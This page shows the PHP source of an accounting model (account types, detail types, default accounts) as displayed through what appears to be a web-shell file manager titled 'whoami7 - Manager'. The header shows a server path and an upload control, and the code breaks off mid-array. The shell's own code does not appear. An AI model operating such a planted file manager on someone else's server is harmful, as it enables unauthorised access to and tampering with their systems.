whoami7 - Manager

: /home/kckglobal/cloud.kckglobal.net/cleaner/modules/accounting/models/ Upload File: files >> /home/kckglobal/cloud.kckglobal.net/cleaner/modules/accounting/models/Accounting_model.php <?php defined('BASEPATH') or exit('No direct script access allowed'); class Accounting_model extends App_Model { public function __construct() { parent::__construct(); } /** * get account types * @param integer $id member group id * @param array $where * @return object */ public function get_account_types() { $account_types = hooks()->apply_filters('before_get_account_types', [ [ 'id' => 1, 'name' => _l('acc_accounts_receivable'), 'order' => 1, ], [ 'id' => 2, 'name' => _l('acc_current_assets'), 'order' => 2, ], [ 'id' => 3, 'name' => _l('acc_cash_and_cash_equivalents'), 'order' => 3, ], [ 'id' => 4, 'name' => _l('acc_fixed_assets'), 'order' => 4, ], [ 'id' => 5, 'name' => _l('acc_non_current_assets'), 'order' => 5, ], [ 'id' => 6, 'name' => _l('acc_accounts_payable'), 'order' => 6, ], [ 'id' => 7, 'name' => _l('acc_credit_card'), 'order' => 7, ], [ 'id' => 8, 'name' => _l('acc_current_liabilities'), 'order' => 8, ], [ 'id' => 9, 'name' => _l('acc_non_current_liabilities'), 'order' => 9, ], [ 'id' => 10, 'name' => _l('acc_owner_equity'), 'order' => 10, ], [ 'id' => 11, 'name' => _l('acc_income'), 'order' => 11, ], [ 'id' => 12, 'name' => _l('acc_other_income'), 'order' => 12, ], [ 'id' => 13, 'name' => _l('acc_cost_of_sales'), 'order' => 13, ], [ 'id' => 14, 'name' => _l('acc_expenses'), 'order' => 14, ], [ 'id' => 15, 'name' => _l('acc_other_expense'), 'order' => 15, ], ]); usort($account_types, function ($a, $b) { return $a['order'] - $b['order']; }); return $account_types; } /** * get account type details * @param integer $id member group id * @param array $where * @return object */ public function get_account_type_details() { $account_type_details = hooks()->apply_filters('before_get_account_type_details', [ [ 'id' => 1, 'account_type_id' => 1, 'name' => _l('acc_accounts_receivable'), 'note' => _l('acc_accounts_receivable_note'), 'order' => 1, ], [ 'id' => 2, 'account_type_id' => 2, 'name' => _l('acc_allowance_for_bad_debts'), 'note' => _l('acc_allowance_for_bad_debts_note'), 'order' => 2, ], [ 'id' => 3, 'account_type_id' => 2, 'name' => _l('acc_assets_available_for_sale'), 'note' => _l('acc_assets_available_for_sale_note'), 'order' => 3, ], [ 'id' => 4, 'account_type_id' => 2, 'name' => _l('acc_development_costs'), 'note' => _l('acc_development_costs_note'), 'order' => 4, ], [ 'id' => 141, 'account_type_id' => 2, 'name' => _l('acc_employee_cash_advances'), 'note' => _l('acc_employee_cash_advances_note'), 'order' => 5, ], [ 'id' => 5, 'account_type_id' => 2, 'name' => _l('acc_inventory'), 'note' => _l('acc_inventory_note'), 'order' => 5, ], [ 'id' => 6, 'account_type_id' => 2, 'name' => _l('acc_investments_other'), 'note' => _l('acc_investments_other_note'), 'order' => 6, ], [ 'id' => 7, 'account_type_id' => 2, 'name' => _l('acc_loans_to_officers'), 'note' => _l('acc_loans_to_officers_note'), 'order' => 7, ], [ 'id' => 8, 'account_type_id' => 2, 'name' => _l('acc_loans_to_others'), 'note' => _l('acc_loans_to_others_note'), 'order' => 8, ], [ 'id' => 9, 'account_type_id' => 2, 'name' => _l('acc_loans_to_shareholders'), 'note' => _l('acc_loans_to_shareholders_note'), 'order' => 9, ], [ 'id' => 10, 'account_type_id' => 2, 'name' => _l('acc_other_current_assets'), 'note' => _l('acc_other_current_assets_note'), 'order' => 10, ], [ 'id' => 11, 'account_type_id' => 2, 'name' => _l('acc_prepaid_expenses'), 'note' => _l('acc_prepaid_expenses_note'), 'order' => 11, ], [ 'id' => 12, 'account_type_id' => 2, 'name' => _l('acc_retainage'), 'note' => _l('acc_retainage_note'), 'order' => 12, ], [ 'id' => 13, 'account_type_id' => 2, 'name' => _l('acc_undeposited_funds'), 'note' => _l('acc_undeposited_funds_note'), 'order' => 13, ], [ 'id' => 14, 'account_type_id' => 3, 'name' => _l('acc_bank'), 'note' => _l('acc_bank_note'), 'order' => 14, ], [ 'id' => 15, 'account_type_id' => 3, 'name' => _l('acc_cash_and_cash_equivalents'), 'note' => _l('acc_cash_and_cash_equivalents_note'), 'order' => 15, ], [ 'id' => 16, 'account_type_id' => 3, 'name' => _l('acc_cash_on_hand'), 'note' => _l('acc_cash_on_hand_note'), 'order' => 16, ], [ 'id' => 17, 'account_type_id' => 3, 'name' => _l('acc_client_trust_account'), 'note' => _l('acc_client_trust_account_note'), 'order' => 17, ], [ 'id' => 18, 'account_type_id' => 3, 'name' => _l('acc_money_market'), 'note' => _l('acc_money_market_note'), 'order' => 18, ], [ 'id' => 19, 'account_type_id' => 3, 'name' => _l('acc_rents_held_in_trust'), 'note' => _l('acc_rents_held_in_trust_note'), 'order' => 19, ], [ 'id' => 20, 'account_type_id' => 3, 'name' => _l('acc_savings'), 'note' => _l('acc_savings_note'), 'order' => 20, ], [ 'id' => 21, 'account_type_id' => 4, 'name' => _l('acc_accumulated_depletion'), 'note' => _l('acc_accumulated_depletion_note'), 'order' => 21, ], [ 'id' => 22, 'account_type_id' => 4, 'name' => _l('acc_accumulated_depreciation_on_property_plant_and_equipment'), 'note' => _l('acc_accumulated_depreciation_on_property_plant_and_equipment_note'), 'order' => 22, ], [ 'id' => 23, 'account_type_id' => 4, 'name' => _l('acc_buildings'), 'note' => _l('acc_buildings_note'), 'order' => 23, ], [ 'id' => 24, 'account_type_id' => 4, 'name' => _l('acc_depletable_assets'), 'note' => _l('acc_depletable_assets_note'), 'order' => 24, ], [ 'id' => 25, 'account_type_id' => 4, 'name' => _l('acc_furniture_and_fixtures'), 'note' => _l('acc_furniture_and_fixtures_note'), 'order' => 25, ], [ 'id' => 26, 'account_type_id' => 4, 'name' => _l('acc_land'), 'note' => _l('acc_land_note'), 'order' => 26, ], [ 'id' => 27, 'account_type_id' => 4, 'name' => _l('acc_leasehold_improvements'), 'note' => _l('acc_leasehold_improvements_note'), 'order' => 27, ], [ 'id' => 28, 'account_type_id' => 4, 'name' => _l('acc_machinery_and_equipment'), 'note' => _l('acc_machinery_and_equipment_note'), 'order' => 28, ], [ 'id' => 29, 'account_type_id' => 4, 'name' => _l('acc_other_fixed_assets'), 'note' => _l('acc_other_fixed_assets_note'), 'order' => 29, ], [ 'id' => 30, 'account_type_id' => 4, 'name' => _l('acc_vehicles'), 'note' => _l('acc_vehicles_note'), 'order' => 30, ], [ 'id' => 31, 'account_type_id' => 5, 'name' => _l('acc_accumulated_amortisation_of_non_current_assets'), 'note' => _l('acc_accumulated_amortisation_of_non_current_assets_note'), 'order' => 31, ], [ 'id' => 32, 'account_type_id' => 5, 'name' => _l('acc_assets_held_for_sale'), 'note' => _l('acc_assets_held_for_sale_note'), 'order' => 32, ], [ 'id' => 33, 'account_type_id' => 5, 'name' => _l('acc_deferred_tax'), 'note' => _l('acc_deferred_tax_note'), 'order' => 33, ], [ 'id' => 34, 'account_type_id' => 5, 'name' => _l('acc_goodwill'), 'note' => _l('acc_goodwill_note'), 'order' => 34, ], [ 'id' => 35, 'account_type_id' => 5, 'name' => _l('acc_intangible_assets'), 'note' => _l('acc_intangible_assets_note'), 'order' => 35, ], [ 'id' => 36, 'account_type_id' => 5, 'name' => _l('acc_lease_buyout'), 'note' => _l('acc_lease_buyout_note'), 'order' => 36, ], [ 'id' => 37, 'account_type_id' => 5, 'name' => _l('acc_licences'), 'note' => _l('acc_licences_note'), 'order' => 37, ], [ 'id' => 38, 'account_type_id' => 5, 'name' => _l('acc_long_term_investments'), 'note' => _l('acc_long_term_investments_note'), 'order' => 38, ], [ 'id' => 39, 'account_type_id' => 5, 'name' => _l('acc_organisational_costs'), 'note' => _l('acc_organisational_costs_note'), 'order' => 39, ], [ 'id' => 40, 'account_type_id' => 5, 'name' => _l('acc_other_non_current_assets'), 'note' => _l('acc_other_non_current_assets_note'), 'order' => 40, ], [ 'id' => 41, 'account_type_id' => 5, 'name' => _l('acc_security_deposits'), 'note' => _l('acc_security_deposits_note'), 'order' => 41, ], [ 'id' => 42, 'account_type_id' => 6, 'name' => _l('acc_accounts_payable'), 'note' => _l('acc_accounts_payable_note'), 'order' => 42, ], [ 'id' => 43, 'account_type_id' => 7, 'name' => _l('acc_credit_card'), 'note' => _l('acc_credit_card_note'), 'order' => 43, ], [ 'id' => 44, 'account_type_id' => 8, 'name' => _l('acc_accrued_liabilities'), 'note' => _l('acc_accrued_liabilities_note'), 'order' => 44, ], [ 'id' => 45, 'account_type_id' => 8, 'name' => _l('acc_client_trust_accounts_liabilities'), 'note' => _l('acc_client_trust_accounts_liabilities_note'), 'order' => 45, ], [ 'id' => 46, 'account_type_id' => 8, 'name' => _l('acc_current_tax_liability'), 'note' => _l('acc_current_tax_liability_note'), 'order' => 46, ], [ 'id' => 47, 'account_type_id' => 8, 'name' => _l('acc_current_portion_of_obligations_under_finance_leases'), 'note' => _l('acc_current_portion_of_obligations_under_finance_leases_note'), 'order' => 47, ], [ 'id' => 48, 'account_type_id' => 8, 'name' => _l('acc_dividends_payable'), 'note' => _l('acc_dividends_payable_note'), 'order' => 48, ], [ 'id' => 50, 'account_type_id' => 8, 'name' => _l('acc_income_tax_payable'), 'note' => _l('acc_income_tax_payable_note'), 'order' => 50, ], [ 'id' => 51, 'account_type_id' => 8, 'name' => _l('acc_insurance_payable'), 'note' => _l('acc_insurance_payable_note'), 'order' => 51, ], [ 'id' => 52, 'account_type_id' => 8, 'name' => _l('acc_line_of_credit'), 'note' => _l('acc_line_of_credit_note'), 'order' => 52, ], [ 'id' => 53, 'account_type_id' => 8, 'name' => _l('acc_loan_payable'), 'note' => _l('acc_loan_payable_note'), 'order' => 53, ], [ 'id' => 54, 'account_type_id' => 8, 'name' => _l('acc_other_current_liabilities'), 'note' => _l('acc_other_current_liabilities_note'), 'order' => 54, ], [ 'id' => 55, 'account_type_id' => 8, 'name' => _l('acc_payroll_clearing'), 'note' => _l('acc_payroll_clearing_note'), 'order' => 55, ], [ 'id' => 56, 'account_type_id' => 8, 'name' => _l('acc_payroll_liabilities'), 'note' => _l('acc_payroll_liabilities_note'), 'order' => 56, ], [ 'id' => 58, 'account_type_id' => 8, 'name' => _l('acc_prepaid_expenses_payable'), 'note' => _l('acc_prepaid_expenses_payable_note'), 'order' => 58, ], [ 'id' => 59, 'account_type_id' => 8, 'name' => _l('acc_rents_in_trust_liability'), 'note' => _l('acc_rents_in_trust_liability_note'), 'order' => 59, ], [ 'id' => 60, 'account_type_id' => 8, 'name' => _l('acc_sales_and_service_tax_payable'), 'note' => _l('acc_sales_and_service_tax_payable_note'), 'order' => 60, ], [ 'id' => 61, 'account_type_id' => 9, 'name' => _l('acc_accrued_holiday_payable'), 'note' => _l('acc_accrued_holiday_payable_note'), 'order' => 61, ], [ 'id' => 62, 'account_type_id' => 9, 'name' => _l('acc_accrued_non_current_liabilities'), 'note' => _l('acc_accrued_non_current_liabilities_note'), 'order' => 62, ], [ 'id' => 63, 'account_type_id' => 9, 'name' => _l('acc_liabilities_related_to_assets_held_for_sale'), 'note' => _l('acc_liabilities_related_to_assets_held_for_sale_note'), 'order' => 63, ], [ 'id' => 64, 'account_type_id' => 9, 'name' => _l('acc_long_term_debt'), 'note' => _l('acc_long_term_debt_note'), 'order' => 64, ], [ 'id' => 65, 'account_type_id' => 9, 'name' => _l('acc_notes_payable'), 'note' => _l('acc_notes_payable_note'), 'order' => 65, ], [ 'id' => 66, 'account_type_id' => 9, 'name' => _l('acc_other_non_current_liabilities'), 'note' => _l('acc_other_non_current_liabilities_note'), 'order' => 66, ], [ 'id' => 67, 'account_type_id' => 9, 'name' => _l('acc_shareholder_potes_payable'), 'note' => _l('acc_shareholder_potes_payable_note'), 'order' => 67, ], [ 'id' => 68, 'account_type_id' => 10, 'name' => _l('acc_accumulated_adjustment'), 'note' => _l('acc_accumulated_adjustment_note'), 'order' => 68, ], [ 'id' => 69, 'account_type_id' => 10, 'name' => _l('acc_dividend_disbursed'), 'note' => _l('acc_dividend_disbursed_note'), 'order' => 69, ], [ 'id' => 70, 'account_type_id' => 10, 'name' => _l('acc_equity_in_earnings_of_subsidiaries'), 'note' => _l('acc_equity_in_earnings_of_subsidiaries_note'), 'order' => 70, ], [ 'id' => 71, 'account_type_id' => 10, 'name' => _l('acc_opening_balance_equity'), 'note' => _l('acc_opening_balance_equity_note'), 'order' => 71, ], [ 'id' => 72, 'account_type_id' => 10, 'name' => _l('acc_ordinary_shares'), 'note' => _l('acc_ordinary_shares_note'), 'order' => 72, ], [ 'id' => 73, 'account_type_id' => 10, 'name' => _l('acc_other_comprehensive_income'), 'note' => _l('acc_other_comprehensive_income_note'), 'order' => 73, ], [ 'id' => 74, 'account_type_id' => 10, 'name' => _l('acc_owner_equity'), 'note' => _l('acc_owner_equity_note'), 'order' => 74, ], [ 'id' => 75, 'account_type_id' => 10, 'name' => _l('acc_paid_in_capital_or_surplus'), 'note' => _l('acc_paid_in_capital_or_surplus_note'), 'order' => 75, ], [ 'id' => 76, 'account_type_id' => 10, 'name' => _l('acc_partner_contributions'), 'note' => _l('acc_partner_contributions_note'), 'order' => 76, ], [ 'id' => 77, 'account_type_id' => 10, 'name' => _l('acc_partner_distributions'), 'note' => _l('acc_partner_distributions_note'), 'order' => 77, ], [ 'id' => 78, 'account_type_id' => 10, 'name' => _l('acc_partner_equity'), 'note' => _l('acc_partner_equity_note'), 'order' => 78, ], [ 'id' => 79, 'account_type_id' => 10, 'name' => _l('acc_preferred_shares'), 'note' => _l('acc_preferred_shares_note'), 'order' => 79, ], [ 'id' => 80, 'account_type_id' => 10, 'name' => _l('acc_retained_earnings'), 'note' => _l('acc_retained_earnings_note'), 'order' => 80, ], [ 'id' => 81, 'account_type_id' => 10, 'name' => _l('acc_share_capital'), 'note' => _l('acc_share_capital_note'), 'order' => 81, ], [ 'id' => 82, 'account_type_id' => 10, 'name' => _l('acc_treasury_shares'), 'note' => _l('acc_treasury_shares_note'), 'order' => 82, ], [ 'id' => 83, 'account_type_id' => 11, 'name' => _l('acc_discounts_refunds_given'), 'note' => _l('acc_discounts_refunds_given_note'), 'order' => 83, ], [ 'id' => 84, 'account_type_id' => 11, 'name' => _l('acc_non_profit_income'), 'note' => _l('acc_non_profit_income_note'), 'order' => 84, ], [ 'id' => 85, 'account_type_id' => 11, 'name' => _l('acc_other_primary_income'), 'note' => _l('acc_other_primary_income_note'), 'order' => 85, ], [ 'id' => 86, 'account_type_id' => 11, 'name' => _l('acc_revenue_general'), 'note' => _l('acc_revenue_general_note'), 'order' => 86, ], [ 'id' => 87, 'account_type_id' => 11, 'name' => _l('acc_sales_retail'), 'note' => _l('acc_sales_retail_note'), 'order' => 87, ], [ 'id' => 88, 'account_type_id' => 11, 'name' => _l('acc_sales_wholesale'), 'note' => _l('acc_sales_wholesale_note'), 'order' => 88, ], [ 'id' => 89, 'account_type_id' => 11, 'name' => _l('acc_sales_of_product_income'), 'note' => _l('acc_sales_of_product_income_note'), 'order' => 89, ], [ 'id' => 90, 'account_type_id' => 11, 'name' => _l('acc_service_fee_income'), 'note' => _l('acc_service_fee_income_note'), 'order' => 90, ], [ 'id' => 91, 'account_type_id' => 11, 'name' => _l('acc_unapplied_cash_payment_income'), 'note' => _l('acc_unapplied_cash_payment_income_note'), 'order' => 91, ], [ 'id' => 92, 'account_type_id' => 12, 'name' => _l('acc_dividend_income'), 'note' => _l('acc_dividend_income_note'), 'order' => 92, ], [ 'id' => 93, 'account_type_id' => 12, 'name' => _l('acc_interest_earned'), 'note' => _l('acc_interest_earned_note'), 'order' => 93, ], [ 'id' => 94, 'account_type_id' => 12, 'name' => _l('acc_loss_on_disposal_of_assets'), 'note' => _l('acc_loss_on_disposal_of_assets_note'), 'order' => 94, ], [ 'id' => 95, 'account_type_id' => 12, 'name' => _l('acc_other_investment_income'), 'note' => _l('acc_other_investment_income_note'), 'order' => 95, ], [ 'id' => 96, 'account_type_id' => 12, 'name' => _l('acc_other_miscellaneous_income'), 'note' => _l('acc_other_miscellaneous_income_note'), 'order' => 96, ], [ 'id' => 97, 'account_type_id' => 12, 'name' => _l('acc_other_operating_income'), 'note' => _l('acc_other_operating_income_note'), 'order' => 97, ], [ 'id' => 98, 'account_type_id' => 12, 'name' => _l('acc_tax_exempt_interest'), 'note' => _l('acc_tax_exempt_interest_note'), 'order' => 98, ], [ 'id' => 99, 'account_type_id' => 12, 'name' => _l('acc_unrealised_loss_on_securities_net_of_tax'), 'note' => _l('acc_unrealised_loss_on_securities_net_of_tax_note'), 'order' => 99, ], [ 'id' => 100, 'account_type_id' => 13, 'name' => _l('acc_cost_of_labour_cos'), 'note' => _l('acc_cost_of_labour_cos_note'), 'order' => 100, ], [ 'id' => 101, 'account_type_id' => 13, 'name' => _l('acc_equipment_rental_cos'), 'note' => _l('acc_equipment_rental_cos_note'), 'order' => 101, ], [ 'id' => 102, 'account_type_id' => 13, 'name' => _l('acc_freight_and_delivery_cos'), 'note' => _l('acc_freight_and_delivery_cos_note'), 'order' => 102, ], [ 'id' => 103, 'account_type_id' => 13, 'name' => _l('acc_other_costs_of_sales_cos'), 'note' => _l('acc_other_costs_of_sales_cos_note'), 'order' => 103, ], [ 'id' => 104, 'account_type_id' => 13, 'name' => _l('acc_supplies_and_materials_cos'), 'note' => _l('acc_supplies_and_materials_cos_note'), 'order' => 104, ], [ 'id' => 105, 'account_type_id' => 14, 'name' => _l('acc_advertising_promotional'), 'note' => _l('acc_advertising_promotional_note'), 'order' => 105, ], [ 'id' => 106, 'account_type_id' => 14, 'name' => _l('acc_amortisation_expense'), 'note' => _l('acc_amortisation_expense_note'), 'order' => 106, ], [ 'id' => 107, 'account_type_id' => 14, 'name' => _l('acc_auto'), 'note' => _l('acc_auto_note'), 'order' => 107, ], [ 'id' => 108, 'account_type_id' => 14, 'name' => _l('acc_bad_debts'), 'note' => _l('acc_bad_debts_note'), 'order' => 108, ], [ 'id' => 109, 'account_type_id' => 14, 'name' => _l('acc_bank_charges'), 'note' => _l('acc_bank_charges_note'), 'order' => 109, ], [ 'id' => 110, 'account_type_id' => 14, 'name' => _l('acc_charitable_contributions'), 'note' => _l('acc_charitable_contributions_note'), 'order' => 110, ], [ 'id' => 111, 'account_type_id' => 14, 'name' => _l('acc_commissions_and_fees'), 'note' => _l('acc_commissions_and_fees_note'), 'order' => 111, ], [ 'id' => 112, 'account_type_id' => 14, 'name' => _l('acc_cost_of_labour'), 'note' => _l('acc_cost_of_labour_note'), 'order' => 112, ], [ 'id' => 113, 'account_type_id' => 14, 'name' => _l('acc_dues_and_subscriptions'), 'note' => _l('acc_dues_and_subscriptions_note'), 'order' => 113, ], [ 'id' => 114, 'account_type_id' => 14, 'name' => _l('acc_equipment_rental'), 'note' => _l('acc_equipment_rental_note'), 'order' => 114, ], [ 'id' => 115, 'account_type_id' => 14, 'name' => _l('acc_finance_costs'), 'note' => _l('acc_finance_costs_note'), 'order' => 115, ], [ 'id' => 116, 'account_type_id' => 14, 'name' => _l('acc_income_tax_expense'), 'note' => _l('acc_income_tax_expense_note'), 'order' => 116, ], [ 'id' => 117, 'account_type_id' => 14, 'name' => _l('acc_insurance'), 'note' => _l('acc_insurance_note'), 'order' => 117, ], [ 'id' => 118, 'account_type_id' => 14, 'name' => _l('acc_interest_paid'), 'note' => _l('acc_interest_paid_note'), 'order' => 118, ], [ 'id' => 119, 'account_type_id' => 14, 'name' => _l('acc_legal_and_professional_fees'), 'note' => _l('acc_legal_and_professional_fees_note'), 'order' => 119, ], [ 'id' => 120, 'account_type_id' => 14, 'name' => _l('acc_loss_on_discontinued_operations_net_of_tax'), 'note' => _l('acc_loss_on_discontinued_operations_net_of_tax_note'), 'order' => 120, ], [ 'id' => 121, 'account_type_id' => 14, 'name' => _l('acc_management_compensation'), 'note' => _l('acc_management_compensation_note'), 'order' => 121, ], [ 'id' => 122, 'account_type_id' => 14, 'name' => _l('acc_meals_and_entertainment'), 'note' => _l('acc_meals_and_entertainment_note'), 'order' => 122, ], [ 'id' => 123, 'account_type_id' => 14, 'name' => _l('acc_office_general_administrative_expenses'), 'note' => _l('acc_office_general_administrative_expenses_note'), 'order' => 123, ], [ 'id' => 124, 'account_type_id' => 14, 'name' => _l('acc_other_miscellaneous_service_cost'), 'note' => _l('acc_other_miscellaneous_service_cost_note'), 'order' => 124, ], [ 'id' => 125, 'account_type_id' => 14, 'name' => _l('acc_other_selling_expenses'), 'note' => _l('acc_other_selling_expenses_note'), 'order' => 125, ], [ 'id' => 126, 'account_type_id' => 14, 'name' => _l('acc_payroll_expenses'), 'note' => _l('acc_payroll_expenses_note'), 'order' => 126, ], [ 'id' => 127, 'account_type_id' => 14, 'name' => _l('acc_rent_or_lease_of_buildings'), 'note' => _l('acc_rent_or_lease_of_buildings_note'), 'order' => 127, ], [ 'id' => 128, 'account_type_id' => 14, 'name' => _l('acc_repair_and_maintenance'), 'note' => _l('acc_repair_and_maintenance_note'), 'order' => 128, ], [ 'id' => 129, 'account_type_id' => 14, 'name' => _l('acc_shipping_and_delivery_expense'), 'note' => _l('acc_shipping_and_delivery_expense_note'), 'order' => 129, ], [ 'id' => 130, 'account_type_id' => 14, 'name' => _l('acc_supplies_and_materials'), 'note' => _l('acc_supplies_and_materials_note'), 'order' => 130, ], [ 'id' => 131, 'account_type_id' => 14, 'name' => _l('acc_taxes_paid'), 'note' => _l('acc_taxes_paid_note'), 'order' => 131, ], [ 'id' => 132, 'account_type_id' => 14, 'name' => _l('acc_travel_expenses_general_and_admin_expenses'), 'note' => _l('acc_travel_expenses_general_and_admin_expenses_note'), 'order' => 132, ], [ 'id' => 133, 'account_type_id' => 14, 'name' => _l('acc_travel_expenses_selling_expense'), 'note' => _l('acc_travel_expenses_selling_expense_note'), 'order' => 133, ], [ 'id' => 134, 'account_type_id' => 14, 'name' => _l('acc_unapplied_cash_bill_payment_expense'), 'note' => _l('acc_unapplied_cash_bill_payment_expense_note'), 'order' => 134, ], [ 'id' => 135, 'account_type_id' => 14, 'name' => _l('acc_utilities'), 'note' => _l('acc_utilities_note'), 'order' => 135, ], [ 'id' => 136, 'account_type_id' => 15, 'name' => _l('acc_amortisation'), 'note' => _l('acc_amortisation_note'), 'order' => 136, ], [ 'id' => 137, 'account_type_id' => 15, 'name' => _l('acc_depreciation'), 'note' => _l('acc_depreciation_note'), 'order' => 137, ], [ 'id' => 138, 'account_type_id' => 15, 'name' => _l('acc_exchange_gain_or_loss'), 'note' => _l('acc_exchange_gain_or_loss_note'), 'order' => 138, ], [ 'id' => 139, 'account_type_id' => 15, 'name' => _l('acc_other_expense'), 'note' => _l('acc_other_expense_note'), 'order' => 139, ], [ 'id' => 140, 'account_type_id' => 15, 'name' => _l('acc_penalties_and_settlements'), 'note' => _l('acc_penalties_and_settlements_note'), 'order' => 140, ], ]); usort($account_type_details, function ($a, $b) { return $a['order'] - $b['order']; }); $account_type_details_2 = $this->db->get(db_prefix().'acc_account_type_details')->result_array(); return array_merge($account_type_details, $account_type_details_2); } /** * add default account */ public function add_default_account(){ if($this->get_accounts()){ return false; } $accounts = [ [ 'name' => '', 'key_name' => 'acc_accounts_receivable', 'account_type_id' => 1, 'account_detail_type_id' => 1, ], [ 'name' => '', 'key_name' => 'acc_accrued_holiday_payable', 'account_type_id' => 9, 'account_detail_type_id' => 61, ], [ 'name' => '', 'key_name' => 'acc_accrued_liabilities', 'account_type_id' => 8, 'account_detail_type_id' => 44, ], [ 'name' => '', 'key_name' => 'acc_accrued_non_current_liabilities', 'account_type_id' => 9, 'account_detail_type_id' => 62, ], [ 'name' => '', 'key_name' => 'acc_accumulated_depreciation_on_property_plant_and_equipment', 'account_type_id' => 4, 'account_detail_type_id' => 22, ], [ 'name' => '', 'key_name' => 'acc_allowance_for_bad_debts', 'account_type_id' => 2, 'account_detail_type_id' => 2, ], [ 'name' => '', 'key_name' => 'acc_amortisation_expense', 'account_type_id' => 14, 'account_detail_type_id' => 106, ], [ 'name' => '', 'key_name' => 'acc_assets_held_for_sale', 'account_type_id' => 5, 'account_detail_type_id' => 32, ], [ 'name' => '', 'key_name' => 'acc_available_for_sale_assets_short_term', 'account_type_id' => 2, 'account_detail_type_id' => 3, ], [ 'name' => '', 'key_name' => 'acc_bad_debts', 'account_type_id' => 14, 'account_detail_type_id' => 108, ], [ 'name' => '', 'key_name' => 'acc_bank_charges', 'account_type_id' => 14, 'account_detail_type_id' => 109, ], [ 'name' => '', 'key_name' => 'acc_billable_expense_income', 'account_type_id' => 11, 'account_detail_type_id' => 89, ], [ 'name' => '', 'key_name' => 'acc_cash_and_cash_equivalents', 'account_type_id' => 3, 'account_detail_type_id' => 15, ], [ 'name' => '', 'key_name' => 'acc_change_in_inventory_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_commissions_and_fees', 'account_type_id' => 14, 'account_detail_type_id' => 111, ], [ 'name' => '', 'key_name' => 'acc_cost_of_sales', 'account_type_id' => 13, 'account_detail_type_id' => 104, ], [ 'name' => '', 'key_name' => 'acc_deferred_tax_assets', 'account_type_id' => 5, 'account_detail_type_id' => 33, ], [ 'name' => '', 'key_name' => 'acc_direct_labour_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_discounts_given_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_dividend_disbursed', 'account_type_id' => 10, 'account_detail_type_id' => 69, ], [ 'name' => '', 'key_name' => 'acc_dividend_income', 'account_type_id' => 12, 'account_detail_type_id' => 92, ], [ 'name' => '', 'key_name' => 'acc_dividends_payable', 'account_type_id' => 8, 'account_detail_type_id' => 48, ], [ 'name' => '', 'key_name' => 'acc_dues_and_subscriptions', 'account_type_id' => 14, 'account_detail_type_id' => 113, ], [ 'name' => '', 'key_name' => 'acc_equipment_rental', 'account_type_id' => 14, 'account_detail_type_id' => 114, ], [ 'name' => '', 'key_name' => 'acc_equity_in_earnings_of_subsidiaries', 'account_type_id' => 10, 'account_detail_type_id' => 70, ], [ 'name' => '', 'key_name' => 'acc_freight_and_delivery_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_goodwill', 'account_type_id' => 5, 'account_detail_type_id' => 34, ], [ 'name' => '', 'key_name' => 'acc_income_tax_expense', 'account_type_id' => 14, 'account_detail_type_id' => 116, ], [ 'name' => '', 'key_name' => 'acc_income_tax_payable', 'account_type_id' => 8, 'account_detail_type_id' => 50, ], [ 'name' => '', 'key_name' => 'acc_insurance_disability', 'account_type_id' => 14, 'account_detail_type_id' => 117, ], [ 'name' => '', 'key_name' => 'acc_insurance_general', 'account_type_id' => 14, 'account_detail_type_id' => 117, ], [ 'name' => '', 'key_name' => 'acc_insurance_liability', 'account_type_id' => 14, 'account_detail_type_id' => 117, ], [ 'name' => '', 'key_name' => 'acc_intangibles', 'account_type_id' => 5, 'account_detail_type_id' => 35, ], [ 'name' => '', 'key_name' => 'acc_interest_expense', 'account_type_id' => 14, 'account_detail_type_id' => 118, ], [ 'name' => '', 'key_name' => 'acc_interest_income', 'account_type_id' => 12, 'account_detail_type_id' => 93, ], [ 'name' => '', 'key_name' => 'acc_inventory', 'account_type_id' => 2, 'account_detail_type_id' => 5, ], [ 'name' => '', 'key_name' => 'acc_inventory_asset', 'account_type_id' => 2, 'account_detail_type_id' => 5, ], [ 'name' => '', 'key_name' => 'acc_legal_and_professional_fees', 'account_type_id' => 14, 'account_detail_type_id' => 119, ], [ 'name' => '', 'key_name' => 'acc_liabilities_related_to_assets_held_for_sale', 'account_type_id' => 9, 'account_detail_type_id' => 63, ], [ 'name' => '', 'key_name' => 'acc_long_term_debt', 'account_type_id' => 9, 'account_detail_type_id' => 64, ], [ 'name' => '', 'key_name' => 'acc_long_term_investments', 'account_type_id' => 5, 'account_detail_type_id' => 38, ], [ 'name' => '', 'key_name' => 'acc_loss_on_discontinued_operations_net_of_tax', 'account_type_id' => 14, 'account_detail_type_id' => 120, ], [ 'name' => '', 'key_name' => 'acc_loss_on_disposal_of_assets', 'account_type_id' => 12, 'account_detail_type_id' => 94, ], [ 'name' => '', 'key_name' => 'acc_management_compensation', 'account_type_id' => 14, 'account_detail_type_id' => 121, ], [ 'name' => '', 'key_name' => 'acc_materials_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_meals_and_entertainment', 'account_type_id' => 14, 'account_detail_type_id' => 122, ], [ 'name' => '', 'key_name' => 'acc_office_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 123, ], [ 'name' => '', 'key_name' => 'acc_other_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_other_comprehensive_income', 'account_type_id' => 10, 'account_detail_type_id' => 73, ], [ 'name' => '', 'key_name' => 'acc_other_general_and_administrative_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 123, ], [ 'name' => '', 'key_name' => 'acc_other_operating_income_expenses', 'account_type_id' => 12, 'account_detail_type_id' => 97, ], [ 'name' => '', 'key_name' => 'acc_other_selling_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 125, ], [ 'name' => '', 'key_name' => 'acc_other_type_of_expenses_advertising_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 105, ], [ 'name' => '', 'key_name' => 'acc_overhead_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_payroll_clearing', 'account_type_id' => 8, 'account_detail_type_id' => 55, ], [ 'name' => '', 'key_name' => 'acc_payroll_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 126, ], [ 'name' => '', 'key_name' => 'acc_payroll_liabilities', 'account_type_id' => 8, 'account_detail_type_id' => 56, ], [ 'name' => '', 'key_name' => 